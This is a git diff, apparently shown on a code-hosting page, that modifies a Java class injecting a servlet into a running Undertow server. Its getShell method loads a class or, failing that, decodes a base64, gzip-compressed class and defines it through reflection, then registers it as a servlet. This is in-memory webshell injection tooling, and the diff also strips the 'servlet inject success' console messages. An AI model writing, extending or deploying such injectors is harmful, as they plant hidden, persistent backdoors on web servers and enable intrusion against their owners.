@@ -69,15 +107,17 @@ public class UndertowServletInjector {
|
|||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
public void inject(Object context, Object servlet) throws Exception {
|
public void inject(Object context, Object servlet) throws Exception {
|
||||||
@@ -85,7 +125,6 @@ public class UndertowServletInjector {
|
|||||||
Object managedServlets = invokeMethod(deploymentImpl, "getServlets", null, null);
|
Object managedServlets = invokeMethod(deploymentImpl, "getServlets", null, null);
|
||||||
Object servletHandler = invokeMethod(managedServlets, "getServletHandler", new Class[]{String.class}, new Object[]{getClassName()});
|
Object servletHandler = invokeMethod(managedServlets, "getServletHandler", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
if (servletHandler != null) {
|
if (servletHandler != null) {
|
||||||
System.out.println("servlet already injected");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -100,7 +139,11 @@ public class UndertowServletInjector {
|
|||||||
Object servletPaths = invokeMethod(deploymentImpl, "getServletPaths", null, null);
|
Object servletPaths = invokeMethod(deploymentImpl, "getServletPaths", null, null);
|
||||||
Object data = invokeMethod(servletPaths, "setupServletChains", null, null);
|
Object data = invokeMethod(servletPaths, "setupServletChains", null, null);
|
||||||
setFieldValue(servletPaths, "data", data);
|
setFieldValue(servletPaths, "data", data);
|
||||||
System.out.println("servlet inject success");
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -147,7 +190,7 @@ public class UndertowServletInjector {
|
|||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -195,4 +238,19 @@ public class UndertowServletInjector {
|
|||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user